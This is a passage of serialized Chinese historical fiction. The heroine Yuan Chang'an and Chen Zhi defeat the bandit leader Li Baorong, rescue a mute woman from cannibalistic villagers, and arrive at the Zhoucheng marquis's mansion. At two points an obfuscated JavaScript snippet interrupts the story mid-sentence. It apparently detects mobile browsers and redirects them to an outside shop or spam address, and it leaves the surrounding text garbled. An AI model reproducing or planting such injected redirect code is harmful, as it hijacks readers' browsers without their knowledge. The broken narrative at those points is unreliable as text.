元长安面色平静,让巾帻人琢磨不透,但还是听她的话照做。用仅剩的一只完好的胳膊,死命地拖着自己的同伴,将他拖到屋外面。 这一幕,不仅躲在厨房的陈治、胡婶子和胡三娘看得一清二楚。那些李宝荣的走狗也注意到了这边的动静,而巾帻人将同伴的尸体拖到外面之后,直接快跑到管家面前,向他告状。 元长安从腰间抽出长生枪,然后按动机关,枪杆瞬间变长。 陈治见到这个场面,心里就有底了。他出声安慰胡家母女,“你们放心,以长安的武功,对付这几个喽啰绰绰有余。” 既然他这么说,可胡家母女还是不放心。 厨房外,李管家见面前之人杀了他们李家的家丁,火从心中烧:“你是什么人?竟然敢杀了我们的人,你知道我们是谁吗?!” “你们在我眼里,就是死人。” “给我杀了她!” 家丁们形成了一个半圆形的包围圈,元长安迅速评估了局势,她注意到包围圈左侧有几名家丁站位较为分散,决定从那里突破。 突然,元长安猛地向右侧发起猛烈攻击,长枪如同游龙一般,在空中划出一道道凌厉且带有杀气的弧线。连续几记快速刺击和扫击迫使右侧的家丁后退,制造了一片混乱。 趁着这个机会,元长安迅速转向左侧薄弱的一点,加快脚步,长枪在手中灵活舞动,不断击退试图阻拦的家丁。她的动作既快又准,让敌人难以靠近。一名家丁挥刀砍来,元长安侧身一闪,同时用枪杆横扫对方的小腿,家丁应声倒地。 几名家丁试图从侧面夹击,但元长安的动作连贯且迅速,她先是用枪尖挑开一侧的刀刃,紧接着转身一扫,将另一侧的家丁击退。 终于,元长安冲出了包围圈,直接面对李管家。李管家见状不妙,挥刀猛扑过来。元长安沉着应对,长枪一挺,挡住了对方的攻势。接着,她迅速收回长枪,然后用枪杆重重地横扫李管家的小腿。李管家站立不稳,向前跌倒。 元长安立刻上前,一脚踢开对方手中的长刀。随后,她蹲下身,用一只手牢牢按住李管家的肩膀,另一只手则迅速锁住了对方的手腕。为了确保彻底制服,元长安用力将李管家的手臂反扭到背后,使对方感到剧烈的疼痛,完全失去了抵抗的能力。 周围的家丁见状,知道大势已去,面面相觑,不敢再有任何妄动。元长安大声命令他们:“放下武器,否则不要怪我不客气!”说着,将自己的枪尖对准了李管家的脖子。吓得李管家连连大喊:“让你们放下,没听见吗?!快放下!” 家丁闻言,纷纷放下了手中的武器,并且向后退了好几步。 陈治见元长安已经制服了那些作恶的家丁,才放下心推门而出。胡三娘让苗苗躲着,自己和老娘跟在陈治的身后。同时,村里的百姓见祸害已经被制服,纷纷上前将被绑在马上的妻女救下,将被抱走的女娃抱回家。还有粮食。但凡是他们抢的,统统都收回来。 “长安,”陈治走上前,对元长安道:“把他们放了。” 胡家母女很诧异,但元长安问都没问,说放就放。 陈治站姿端正,与元长安并肩:“回去告诉你们堂主,有胆量就亲自率兵来小莲子村,我们等着!” 李管家点头哈腰:“小的明白,小的一定将话带到。”一边说,一边连连后退。等退到稍远的距离,立即骑上马落荒而逃,后面紧跟着拼命逃跑的家丁。 “你是不是想到什么办法了?” 其他人都在问陈治为什么要放走那些恶奴,只有元长安认为他一定是想到了什么办法才会有这个决定。 “借刀杀人。” 陈治眉尾一挑,嘴角勾勒出一抹浅淡的笑意。他招了招手,示意元长安附耳倾听。当他说完自己的计划之后,元长安侧过头看他,眸光流转之间,闪过一丝兴奋。她笑着说了句:“好计谋。” ----------------- 九顶山 随着官军逐渐逼近,山寨内弥漫着一股前所未有的紧张气氛。李四站在寨墙上,双手紧握着刀柄,额头上渗出了细密的汗珠。他的眼神中不再有往日的凶狠与狂妄,取而代之的是难以掩饰的惊慌。他试图稳住自己的声音,向手下大声喊道:“兄弟们,我们要替老大守住这里!”但声音中明显带着颤抖。 下方的匪徒们也显得焦躁不安。有的人不停地来回走动,仿佛这样就能驱散心中的恐惧;有的人则蹲在角落里,抱着头,口中念念有词,像是在祈祷什么奇迹出现。空气中充满了压抑的气息,连呼吸都变得沉重起来。 当官军的第一波箭雨呼啸而来时,几名正在墙头守望的匪徒顿时惨叫着倒了下去。这一幕瞬间点燃了其他人的恐慌情绪。一些人开始不顾一切地寻找掩护,甚至有人直接跳下墙去,宁愿摔伤也不愿面对即将到来的死亡。整个场面一片混乱,没有人再听从指挥。 随着战斗的深入,官军士兵们如猛虎下山般冲入山寨。他们的盔甲反射出寒光,长枪和刀剑挥舞间发出刺耳的声音。每一声金属碰撞、每一阵呐喊都如同重锤击打在土匪们的心上。他们的反抗,在那些官兵眼中,无异于螳臂挡车,不自量力。 一名年轻的小喽啰看到同伴被一□□穿,吓得双腿发软,几乎瘫倒在地。他本能地想要逃跑,但发现自己根本无处可逃,只能闭上眼睛等待命运的裁决。 另一名年长且瘦弱的男子,原本还试图组织反击,但在见到李四和其他几位重要的头目相继倒下后,他的斗志彻底崩溃。手中的刀掉落在地,他跪倒在官军面前,双手高举过头,声音沙哑地哀求道:“别杀我,我投降,我什么都愿意做……”泪水混合着汗水流了下来。 在这片绝望之中,更多的人纷纷效仿,丢弃武器,跪倒在地。他们的脸上写满了无助与恐惧,只想活着。 他们大部分只是九顶山下的普通老百姓,有的是因为走投无路上了山,有的则是被李宝荣抓来的壮丁。 看到他们很多人穿的都是破衣烂衫,身上的肉也没有多少,虽然算不上瘦骨嶙峋,但看着也确实可怜。余耀大概知道山寨的情况,只下令将李宝荣的亲信斩首示众,其他人可以安然回家。 听到回家,那些被迫上山的人喜出望外,高呼:“官爷英明!” 等处理好所有事情之后,余耀便带着一个小队下山入县城,准备抄了李宝荣的太平堂。 突然,距离他们不到三里路的树林处,火光冲天,迅速向他们这个方向烧来。 余耀心生疑虑,便决定先绕过去一探究竟。走的越近,大呼救火的声音就越清晰。只是他没想到,竟然碰到了熟人。 ----------------- 太平堂位于扶风县的县城中心,说是高门阔路也不为过。谁能想到,太平堂堂主曾经只是九顶山上的一个小毛贼。 李宝荣学着文人挥毫泼墨,大展身手。当他放下手中的毛笔,纸张写满了歪七扭八的字体,而身边的张师爷却道:“老爷的字,笔走龙蛇、入木三分,简直神作。不说现在,就算是七国之时的赵国大家祝兴汉都不能跟您作比。不知老爷可否愿意将这字帖赏给小的?小的保证……” “行了行了,”李宝荣脸上不耐,但从他的语气很明显听出来,心情不错,“那祝兴汉的字画,价值连城,我怎么能跟人家比。” 张师爷笑嘻嘻地接过那张丑不忍睹的字帖,嘴上尽是恭维:“祝兴汉不过是生的早,要是放到现在,他的字画不一定能卖得出去。” 对于手下人的奉承,李宝荣十分受用。他出身草莽,因为帮助周城侯攻下扶风县,才有了现在的地位。人活在世,总有一些自知不可为但用尽手段都要完成的追求。就比如李宝荣,他喜欢美女,更喜欢做一个文人。 自古皇帝后宫佳丽三千,都是男人,李宝荣自知不必皇帝差在哪里。虽然说权势地位和财富比不上,但在扶风县,他说一,没人敢说二,跺一跺脚,整个县城都要抖三抖。就连县里的县令,也是跟他称兄道弟。 别人说他是扶风县的土皇帝,既然是土皇帝,又怎么可以没有三千佳丽。 “老爷,现在外面都乱起来了,您有什么打算?”张师爷问道。 李宝荣心头一动,急忙问道:“什么意思?” 张师爷向后看了看关闭的房门,然后不露声色道:“徐水郡的聂鸿生,当年靠着三百族人起兵反晋,现如今整个徐水郡就是他的天下。老爷您手中可有一千众,何不趁着这个乱糟糟的局势,杀出一片天来?” 李宝荣正有此意,“我看可行。” “老爷,不好啦!”李管家急急忙忙地,一边跑一边大喊道:“老爷,有人找事!” 李管家顺了几口气,然后将小莲子村所发生的一切,添油加醋地说与李宝荣听。李宝荣听完,怒火中烧,“竟然不把我放在眼里!你速去集合弟兄,我倒要看看,他们有什么能耐!” 可是,等他们赶到小莲子村的时候,村子里一个人都没有。别说人了,一个活物都没看见。 “他们肯定是跑了,”李管家愤慨又带着讨好的语气道:“想来是知道老爷来了,所以给吓跑了。” 李宝荣虽然洋洋得意,但还是有些不安,总感觉有什么地方很奇怪。 就在这时,一个人影从土屋院子里一闪而过。 “那边有人!”李管家第一个发现,当李宝荣顺着他手指的方向看过去的时候,已经什么都看不到了。 李宝荣伸长脖子什么都没看到,“在哪儿呢?” 李管家回过头一看,那个人影已经消失得无影无踪,他以为自己眼花了。而李宝荣是个急躁性子,上去就在李管家头上扇了一巴掌,“敢骗老子?是不是讨打?” 李管家抱着头,连连求饶:“老爷息怒,刚刚小的真的看见一个人影,从那个院子里‘嗖’地一下,窜了过去。” 李宝荣也觉得李管家没有欺骗自己的必要,“走,去那边看看。” 离那个院子越近,李管家心里越发慌,那个拿枪的小姑娘,可不是善茬。忽而,冷风一吹,李管家没忍住打了一个喷嚏。 等他们推门进了院子,里面还是什么都没有。 “搜!” 还没等到家丁们出手,元长安就已经悠哉悠哉地从里屋走了出来。看到元长安的刹那,李管家身体一颤,然后还惊了他□□的马。 李宝荣手握着大刀,微抬着下巴,俯视着面前之人,神情不屑:“就是你杀了我的家丁?” “不信?那你可以来试试?” 李宝荣已经很久没有见到,这般狂妄的年轻人了,还是个小姑娘。他翻身下马,势必要给她一个颜色看看,顺便再带回太平堂,好好调教一番。思即此,李宝荣脸上□□的笑意就越来越明显。 李管家刚想叫住李宝荣,但是转念一想,自家老爷身经百战,那个丫头片子怎么可能会是对手。 果不其然,元长安几乎一直在防守,甚至破绽百出,和李宝荣来来回回纠缠了好几十个回合。正当李家的那些人洋洋得意的时候,元长安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142858|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接一击击杀,擒住了李宝荣。 同时,县令也带着役卒包围了小院。李家的那些人还以为看到了救兵,尤其是李宝荣,见到县令的那一瞬,急忙道:“县令大人快救我!” 李管家上前拉住县令的衣服,“县令大人,那个丫头,杀了我太平堂的人,一定要为我们做主啊!” 然而县令猛甩袖子,一声令下:“将太平堂的人拿下!” 元长安将李宝荣踹到役卒的面前,看着役卒将他扣下。 “为什么要抓我?!”李宝荣顿感不妙,怒气冲冲地直视着县令。县令的眼神先是装作不经意地向身后看,然后正色道:“你纵容手下火烧九顶山,要不是陈元及时报官,整座山头就被你们毁了!” 李宝荣和李管家被说的一愣一愣的,“什么火烧九顶山?我没做过!” 但是县令很明显不想听他解释,毕竟像他这种无恶不作的人嘴中,是没有实话的。更何况,周城侯的余军侯就在他的身后,这件事情,不管是不是李宝荣,他的罪必须有。 “带走!”余耀不想听他们无力的辩解,而李宝荣这才发现县令身后的余耀,大感不妙,张大的眼睛和嘴巴直到被带走也没有合上。 县令油嘴滑舌,余耀打着太极,元长安听得只打哈欠,只不过她总觉得这个余军侯太过眼熟。 ----------------- 太平堂 “没想到竟然能在这里遇到怀久,真是不可置信。” “当日黄石堡相聚匆匆,还没来得及与知韫兄好好叙叙旧,就各分两路。” 余耀和陈治对桌饮茶,相谈甚欢。不过,同桌的元长安见他们说话文绉绉的,心里表示不能理解。 “不知怀久现在,住在什么地方?”余耀知道他之前是在清风寨生活,前段时间,恒王火烧清风寨的事情他也略有耳闻。 陈治和元长安开始变得警惕,余耀察觉到他们二人的异常,一脸诚恳地解释道:“你们不要误会,我没有别的意思,只是想知道你们有没有去处。如果没有,可以跟我入周城侯府。怀久才识过人,今日放火烧山,嫁祸李宝荣在山上的弟兄,让县令不得不惩治他,否则难以向上面交代,更难以服众。此计冒险但最有用,除了怀久你,我很难想到会有第二个人也这么做。许侯爷身边最缺的,就是你这般人才。” 说完陈治,他转而对元长安道:“在黄石堡我就认出来你是之前跟我比武打擂的姑娘。你武功高强,年岁虽小,但我能看出来你很有天赋。若是能跟在许侯爷身边,我想不仅能让你的武功身法更上一层楼,说不定,你我二人还能在战场上并肩。” 余耀说完喝了一口茶,但是眼神一直在陈治和元长安身上打转。 陈治想报仇,就必须找到一个强有力的帮手,周城侯显然就是最好的选择。而元长安和他的想法一样,只不过她想要自己掌权握兵。刚才余耀的那句“你我二人还能在战场上并肩”,让她心里难以平静。 “陈怀久,我想去。” 而陈治看向余耀,只一眼,他就看出来刚才他说的那句话,其实就是为了让长安来牵住自己。余耀不在乎元长安的武功以及以后,他只想留住陈治。毕竟在他眼中,元长安一介女流,靠着一身武艺在这乱世活着,已是不易。其他的,那就是不可能的事情。 “好,我们一起去。” 余耀拿准了陈治的短,报仇和元长安。 翌日,因余耀还有别的任务要完成,无法与他们同路,分别前便将自己的令牌交给陈治,并叮嘱道:“等你们到了侯府,拿着我的令牌,就会有人带你面见许侯爷。” “多谢。”陈治将令牌收好,“那就等我们在侯府再叙。” “好。” 元长安和陈治回到小莲子村,和胡家母女还有苗苗道别。 临走前,陈治见苗苗对挖地和野草很感兴趣,也没有放在心上,只以为是小孩子贪玩。 多少年之后,一本署名胡氏女的《农田记》,影响着当代和后世。 根据《匠心独运》记载:“晋末,有一女子,姓胡无名,故称胡氏女。其撰《农田记》一书,书中详载增产之法,以指导当时农夫耕作之术,俾使稼穑丰登,民生活计得以改善。” ----------------- 赶往德阳县的路面很滑,很不好走。元长安和陈治相互搀扶,也不知道摔了多少次,当他们再次因为路滑,一屁股坐地上的时候,元长安气得都不想再走了。 “好啦,快起来,地上凉。”陈治见她发孩子脾气,先是弯腰替她紧了紧衣襟,防止灌风,然后直起身伸出手要拉她起来。 或许是路面太滑,或许是元长安多年习武力气太大,陈治没有拉起来她,倒是将自己给放倒了。 他的脸庞离她如此之近,以至于每一次呼吸都能感受到对方的气息,甚至可以看到彼此眼中的倒影。 陈治的眼中情绪波动不大,歉意和爱意,但是他的心里却是难以平静,激动和紧张。 元长安的发丝被风吹乱了几缕,轻轻拂过额前,增添了几分柔弱之美。 她微微抬起头,看着近在咫尺的脸庞——那是她熟悉的轮廓。 四目相对,呼吸可闻,空气中似乎弥漫起了微妙的情愫。 “你……没事吧?”陈治站起身,清了清嗓子,打破了沉默,声音低沉而充满关切。 “我……还好。”元长安随即也站了起来,语气中带着几分羞涩,眼神却不敢直视他,而是略微垂下,似乎在掩饰心中的悸动。 就在这时,天空又落下了几片雪花,飘落在他们的发梢上。 银装素裹天地间,两心相依胜白头。 他们二人路过一个小村庄,赶巧碰到他们在举行什么仪式。 村子里一个破旧的土坛之上,坛子四周是用黄土堆砌成的高台,上面插满了五色的幡旗,随风飘扬。一个身穿宽大黑袍,脸上画的五彩斑斓的老人,正对着一个茅草屋又蹦又跳,嘴上念念有词。 他的身后,站着十几个穿着破烂红袍的人,双手合十,看起来十分虔诚。 然后,两个穿着缊袍的壮汉,进了茅草屋,从里面抬出来一个类似动物尸体的东西。血肉模糊,难以辨认。 可是,元长安一眼就知道那是什么。 “采生折割。” “什么?”陈治之前一直听说过,这是来自定州的一种毁灭人性的手艺,源自于北狄。 元长安像是已经见怪不怪了,“这个村子前不着村后不着店,很正常。前几天又下过雪,想来路不好走,村子又没了粮食,才会用这种手段生存。” 陈治虽愤懑但也只能感叹一句,世道可悲,“我们绕过去吧。” 可是,元长安扯住了他的衣袖,“既然碰到了,要不要进村看看情况?” “那我们就进村看看。”陈治挑眉道。 “好。” 19. 偶遇沈清棠 村子里来了外乡人,让潜心做法的村民很不满。他们眼露凶光,仿佛面前之人就是他们的猎物。 好在这个时候,村长站了出来,出声问道:“你们是什么人?来我们村子干什么?” 陈治搬出笑脸,道:“我们兄妹二人路过此地,有些口渴,就想着讨一杯水喝。” 村长见他们二人一个高瘦文弱,一个还是小姑娘,便放松了警惕。他对着身边的一个瘦高的男人耳语了几句,那人点着头嘴里还说着什么,声音太小,元长安和陈治都没有听清楚。 然后那个人来到他们面前,“你们跟我来。” “好。”陈治和元长安跟在那个男人的身后,偷偷回头看的时候,发现那些村民正死死地盯着他们。饥饿的人,他们的眼神最可怕。因为他们眼中不仅有对食物的渴望,还有生存的绝望与不顾一切的疯狂。有的人会为了填饱肚子,抛弃一切道德与法律的约束。 村民给的水,元长安和陈治都不敢喝,趁那个人不注意的时候,偷偷倒掉。陈治擦了擦嘴边本就没有的水渍,“谢谢啊。对了,这位兄弟,你们刚才是在祈福吗?” 那人倒是没想到他会这么问,愣了一下:“啊,对,就是在祈福。求天神保佑,赐给我们村子些食物。” 说着,他还不忘双手合十,对着上天,虔诚祈祷。 “天神?大哥可以跟我们讲讲吗?”陈治道。 那人祈祷完毕后,没有防备道:“我们村子里一直流传着一个故事,当年扶风县还不是扶风县的时候,遇到了干旱,百姓颗粒无收,连野草树皮都没得吃。我们这个村子之前叫王庄,里面都是王姓人。王村长见村子里的人逃的逃,死的死,没了办法就在村子里摆了一个祭祀台。然后,将他的亲生女儿献祭给天神。后来你们你们猜怎么着?” “天神赏赐了食物?”元长安有些不确定地回答道。 那人一脸肯定道:“你说的没错,第二天祭祀台上就多了一只羊。就这样,供奉天神就成了我们村子里的传统。一旦遇到什么事情,只要向天神献祭,就一定能得到解决。” 转而那人道:“既然水也喝了,你们就快点离开吧。” 陈治道:“我们这就走,这就走。” 他们二人刚走到村子门口,就看到两个村民抬着被白布遮盖地严严实实的担架,走路晃动间,一个类似人的胳膊却又像动物的腿的东西,暴露在他们面前。 陈治被吓了一跳,元长安防备地将他护在身后,村长眼疾手快地将白布重新盖好,连忙解释道:“这是天神赏赐的羊肉,你们二人不用这么紧张。” 于此同时,一位身穿单薄的女子跌跌撞撞地从村子里面向外面跑去,后面紧跟着几个手拿棍棒的汉子,他们嘴里还大喊道:“站住!” 那位女子还没跑出村子,就被红袍村民给拦下了,她嘴巴一直张着,可只能听到她“啊”的声音。陈治凑近元长安,耳语道:“应该是个哑女。” 红袍村民交给那几个人,然后村长对他们厉声道:“看好她!要是再让她跑出来,就拿你们祭奠天神!” 那几个人吓得连连认错:“村长放心,我们一定看好她!” 村长看向元长安和陈治的眼神,变得昏暗不明,“你们二位,可以离开了。” 然而陈治却道:“村长您看这天色也不早了,赶夜路不安全。能不能让我们兄妹二人留宿一晚?你们放心,我们可以不吃饭,明天一早就离开。” 话落,村长眼睛看向黑袍老人,转而对他们道:“那得等我们请问天神之后,再决定你们的去留。” “好,多谢村长。”陈治笑着道谢道。 只见那个黑袍老人又蹦又跳,手里拿着一把桃木剑挥来挥去,片刻功夫,他收了“神通”,朝着村长点头。 村长眼睛微眯,收到黑袍老人给出的答案之后,也不再拒绝:“既然天神答应你们二人留下,我们也不能不听天神的话。但是有一点,你们可没有饭吃。” 元长安道:“饿一顿也没什么事儿。” “小五,带他们去王六娘的家里,那个屋大,你们两个分开睡也行。”村长看似一副为他们着想的表情,但是陈治总觉得事情没那么简单。 被叫做小五的男人回道:“是,村长。” 小五带着元长安和陈治兜兜转转,在村子最北头看到了王六娘的屋子。陈治环顾四周,这边除了王六娘的屋子,几乎看不到一户人家。 元长安问道:“小哥,这家里怎么没人啊?” 小五顾左右而言他,“二位好好休息,祭祀还有事儿,你们自便就行。” 陈治制止住元长安想要追根刨底的冲动,对着她轻轻摇了摇头。元长安会意,果断闭上了嘴巴。 推门而入,房屋内灰尘飞扬,元长安被呛得都待不下去。 “怎么会那么多灰?” 陈治转了一圈,道:“看屋子里的情况,这个王六娘将近半个月没在家待着了。” “会不会?”元长安一想到这个村子令人作呕的采生折割,浑身都起鸡皮疙瘩。 陈治反问道:“难道长安没有发现,这个村子几乎没有女人和孩子吗?” 元长安回想刚才见到的场景,确实那些祈祷的人里,没有女人和孩子,全是男人。 陈治道:“今晚,这个村子一定不太平。”说话间,他的眼中情绪昏暗不明。 “那今晚我守着,你休息。”元长安道。 陈治觉得这样确实合情合理,“那今晚,我就不跟你客气了,反正我也帮不上什么忙,不添乱就不错了。” 难得陈治能说出这么轻松的话,元长安也稍稍安定下来,她在屋里转了一圈,然后问道:“他们这个村子,就没人管吗?” 陈治反问道:“长安觉得,谁会管?” 确实,没人会管。这个村子前不着村后不着店,很明显就是一个被隔离的村子。既然与外界断了联系,也就没人能找到他们。 再加上,这个世道乱得很,哪个官有闲心去解决这种事情。 入夜,村子里面火光冲天,他们离得远都看得十分清楚,不时还有大叫大喊的声音传来。应该是村民正在进行祭天仪式。 “走,我们过去看看去。”元长安拉着正在收拾床铺的陈治就往外跑。 陈治被元长安拉扯着,衣服都要被扯掉了,但他却一句话没说,跟着她跑。 他们二人躲在一个柴草堆的后面,偷看村民的祭天仪式。 坛前摆放着用泥巴捏成的各式各样的供品,包括水果、蔬菜以及一个猪头。村民们穿着红色袍子聚拢在坛前,围成一圈,沉默不语。 元长安和陈治的目光紧紧盯着场中的每一个动作,心中充满了紧张与不安。 早上的黑袍老人走上高台,他的声音在寂静的夜空中显得格外清晰:“伟大的天神啊,我们的土地已经干涸,我们的村子已经无粮,我们需要您的赏赐!” 随着他的呼喊,村民们开始齐声附和,声音越来越高亢,似乎要冲破夜空,直达天际。 紧接着,今早被抓回来、被村民们视为“最纯洁”的祭品的那个女子,身体被五花大绑着,然后被村民缓缓推向前方,以示诚意。然而,没有人注意她的眼中充满了恐惧与绝望,她的身体因为被两个大汉强行压着而无法动弹。 这短短的几步路,在村民看来,是带来上天馈赠的宝路。在那位女子看来,是通向死亡的地狱之路。可在陈治看着,这就是一条荒唐的不归路——一条被愚昧和残酷所笼罩的路。 就在这时,元长安他们面对面的一处柴草堆后面,冲出来一位女子,大声疾呼:“你们放开她!” 众人闻声望去,村民看到的是外乡人,而元长安他们两个竟然看到了沈清棠! “清棠阿姐……” 元长安刚出声,就被陈治捂住了嘴巴,“先不要出声,看看情况。”尽管他好奇为什么清棠阿姐会在这里,也担心她会出事。不过,静观其变,是最好的选择。 沈清棠手里还握着一根又粗又长的棍子,即使她现在很害怕,可她脸上不显露丝毫。 “你们放了她!”沈清棠大喊道:“你们那所谓的祭天,乞求上天赏赐粮食。但是你们吃的粮食是人!活生生的人!” 然而,此言一出,竟然没有任何人有异常。 “你看他们这些人,什么反应都没有。很明显,他们都是知情者。老人、女人和孩子,在这个村子里就是弱者,只有被啃食的下场。长安,这个村子没救了。” 村长手指着沈清棠,怒吼道:“抓住她!献祭天神!” “抓住她!” 那些村民一拥而上,沈清棠吓得腿走不动道。陈治急忙道:“长安,上!” 只见元长安站起身,一边走一边从身后抽出长生枪。村长见又来了一个打扰仪式的人,气急败坏,“把她们都抓起来!全都献给天神!” 献给天神的“祭品”越多,他们就吃得越多。村民越想越激动,招招都是杀意。不过,小元爷可不是吃素的。 元长安扣动机关,一支长枪握在手上。她纵身跃入了围攻沈清棠的人群之中。她的动作快如闪电,长枪舞动间带起一阵风声,灵活地利用枪尖将靠近沈清棠的几个村民手中的武器给挑飞出去。然后抓着沈清棠,就将她推向绕到她们身后的陈治身边。 村民们先是愣了一下,随后更加激愤起来,纷纷挥舞着手中的棍子向元长安发起攻击。 一名村民挥舞着粗大的木棍向元长安砸来,元长安迅速侧身闪避,同时用枪尖轻轻点中对方的手腕,使他手中的棍子脱手飞出。 另几名村民见状,立刻从不同方向围攻过来。元长安双手紧握枪柄,猛地一扫,长枪如同一条怒龙般横扫而出,逼得周围的村民不得不后退躲避。 又一名村民趁机从侧面扑来,企图用镰刀攻击元长安的小腿。元长安敏捷地将长枪向下斜刺,精准地挑开了对方的镰刀,紧接着一个旋转身形,枪尖顺势一挑,将镰刀从村民手中击落。这名村民愣在原地,不知所措。 在连续化解了几轮攻击后,元长安发现背后有动静。她突然转身,以枪尾反向一击,正好击中一名试图偷袭的村民肩部。这名村民痛呼一声,跌倒在地。 元长安假装要向前突进,却突然向右侧一闪,躲过了几根从正面袭来的棍棒。然后她迅速反击,枪尖划过一道弧线,迫使一名村民后退。 尽管元长安技艺高超,但在这群不怕死又特别疯狂的村民密集的围攻下,她也难免受到一些小伤。一次闪避不及,一把镰刀擦过了她的手臂,留下了一道稍深的伤口。她皱了皱眉,起了杀心。 于此同时,一个声音突然响起:“住手!” 原来是陈治趁着村民与元长安缠斗期间,劫持了村长。有了村长,那些疯狂的村民很听话地站在原地,直勾勾地看着陈治,一动不动。 陈治小声对身旁的沈清棠道:“你赶紧带着那姑娘离开,我和长安后脚跟上。” 沈清棠也知道现在不是煽情的时候,果断答应道:“好!”说完,她转身就给坛台上的女子松了绑,然后拉着她就往村子外面跑。 “祭品”的逃跑,让村民的情绪焦躁不安,蠢蠢欲动。陈治将匕首凑近村长的脖子几分,“都不许动!” 因为村长还在他们手上,所以那些村民只能眼睁睁地看着“祭品”,更准确的来说,是食物。看着他们的食物,脱离了他们的视线。 “村长,得罪了。”陈治这次的笑容,有些邪气,“走!” 他挟持着村长,一步步朝村子外面靠近,那些村民也在一步一步地跟着他们。 快走到村口的时候,陈治突然与元长安做了交换,将挟持村长的任务交给了她,自己转身就跑,没有丝毫犹豫。 元长安估摸好了时间,一脚将村长踹到那些跟来的村民身上,自己施展轻功,转眼就不见了踪影。 村长被小五搀扶着,他揉着被踹疼的后腰,看着空旷的村口,咬牙切齿道:“一定要将他们,献祭天神!!!” ----------------- “阿让,我回来啦。”沈清棠扶着清月,回到山洞,“清月姑娘,你坐这里,这里暖和些。” 沈让趴在一张铺着干草的巨大且平滑的石头上,身上盖着一件单薄的外衫,面颊潮红,感染风寒之相。好在山洞内染着火,还算暖和一些。 “清棠,你身上怎么有股血腥味?是不是受伤了?”因为山洞光线稍暗,沈让看不清沈清棠现在的情况,但是他鼻子倒是闻出来一股血腥味。 害怕是沈清棠受伤,他顾不上被简单处理且好不容易有好转的伤口,直接坐了起来,身上的伤口还是让他疼出声来,“嘶~~清棠,你是不是受伤了?” 沈清棠看他这样莽撞地坐了起来,生气极了:“你后背的伤好不容易好转,你乱动什么?”说着,赶紧走过去,查看他的情况。 “你……” “是我身上挂了点小伤。”元长安打断了沈让的话。 听到是元长安,刚才还一脸担忧的沈让,突然惊喜万分:“长安?!陈治?!你们没死啊!” 石洞对于陈治来说,太过昏暗,再加上周围的环境也不是很熟悉。所以,他只能紧紧跟着元长安。 他们两个刚进石洞就听见沈让在絮叨,元长安听得直翻白眼,不耐烦地打断他的话。 沈清棠在洞里找到沈让平常用的草药,替元长安敷上:“这些草药虽然见效慢,但总归是有效果的,你先敷着。” “清风寨被郑吉一把火烧了,除了我们,大当家、二当家还有崔涯,都没逃出来。当时,我们被一群黑甲兵追杀,情急之下跳河逃生。顺着天河流到一个小村子,在那里养了几天伤,却碰到一伙土匪下山扫荡。我们没能力保护村子里的村民,只能保全自己,从村子里逃了出来。后来,兜兜转转,就来到了这扶风县。” 沈让说完,沈清棠继续说道:“阿让为了保护我,后背被砍了一刀,然后又在水里泡了很久。在村子里还没休养几天,就又逃生奔波。好在这个石洞还算隐秘,又遇到清月,每天带着我上山采药挖野菜,撑到现在。” “我们准备去周城侯府,你们要不要去?”陈治凑着火光,勉强能看清以火光为中心,一臂范围内的东西。 沈清棠问道:“为什么要去周城侯府?” “就目前这个情况来开,只有周城侯能替我陈氏、沈氏的族人和清风寨报仇。”陈治顿了顿,又道:“是余耀极力劝说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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或曰,此乃天神怒其贪妄,降灾以惩之;亦有言,系彼等冤魂索命,致祸于斯。究其真伪,茫无所知,惟遗言传说,令人嗟叹不已。” 然而,一个游走四方的辞官小吏,在他的《断案录》中记载:“草莽村之民,困于饔飧不继,无奈仿效先人,采生折割,以求存活。此等行径,虽悖逆天理,败坏人伦,而竟无外力以制之。厥后,村中有哑女子,密于井泉投以鸩毒。时值祭天之仪,村人聚饮,皆吞此毒水。逾七日,全村之人,悉中毒发,无一生还。而彼哑女,亦殒于祭天之场,其事闻者无不悲之。” ----------------- 几人很不容易来到了德阳县。他们的第一要务,就是找医馆给沈让治伤。 “感觉怎么样?”沈清棠问道。 沈让感觉和之前没什么两样,但沈清棠开口问,他也不能让她担心。“感觉好多了。” 元长安也重新上药,包扎了伤口,“你现在要是能下床,就一起去周城侯府。要不是不能,我和陈治就先去一趟。怎么样?” 沈让趴在病床上,双手垫着下巴,眼带笑意地盯着沈清棠看:“清棠去哪,我去哪。” 有时候,元长安真的想给他一巴掌。 沈清棠道:“我陪着阿让在这里养伤,等他伤养的差不多了,就去侯府找你们。” 陈治点头应答:“行,这也是个好办法。” 元长安二人找了一圈,在德阳县城的城中,找到了周城侯府。 从远处望去,侯府的朱红色大门高大威严,门楣上悬挂着一块巨大的匾额,上面用金漆书写着“周城侯府”四个大字。门扉两侧,一对石狮子傲然屹立,仿佛守护着府内的安宁与尊贵。大门前的侍卫手持长矛,更显威风凛凛。 陈治将余耀给他的令牌,交给守门的侍卫。那侍卫接过令牌,先是端详令牌细节,然后又打量着元长安和陈治二人,最后道:“你们在这里等着。”说完,就朝府内跑去。 也不知道过了多久,那个侍卫出来,对他们道:“侯爷让你们进去。” 进入大门,首先映入眼目的是前庭的一座假山,假山上流水潺潺,形成一个小型的瀑布。瀑布下方是一池碧水,水面上荷花盛开,锦鲤穿梭其间,显得生机勃勃。青石板铺就的地面整洁干净,两旁种满了各式各样的花卉,四季常青。 他们二人跟着小厮,穿过前庭,去了府邸东侧的后花园。花园中种植了各种名贵花卉,四季花开不断。花园中央有一座亭子,亭子四周环绕着曲折的走廊,亭内设有石桌石凳,供人休憩。花园的东南角还有一座小巧的戏台,赏花看戏两不误。 而许文达就在那个亭子里,等着他们两个。 “你们就是余耀引荐的人?”他的语气慵懒,似是一切都尽在掌握之中。 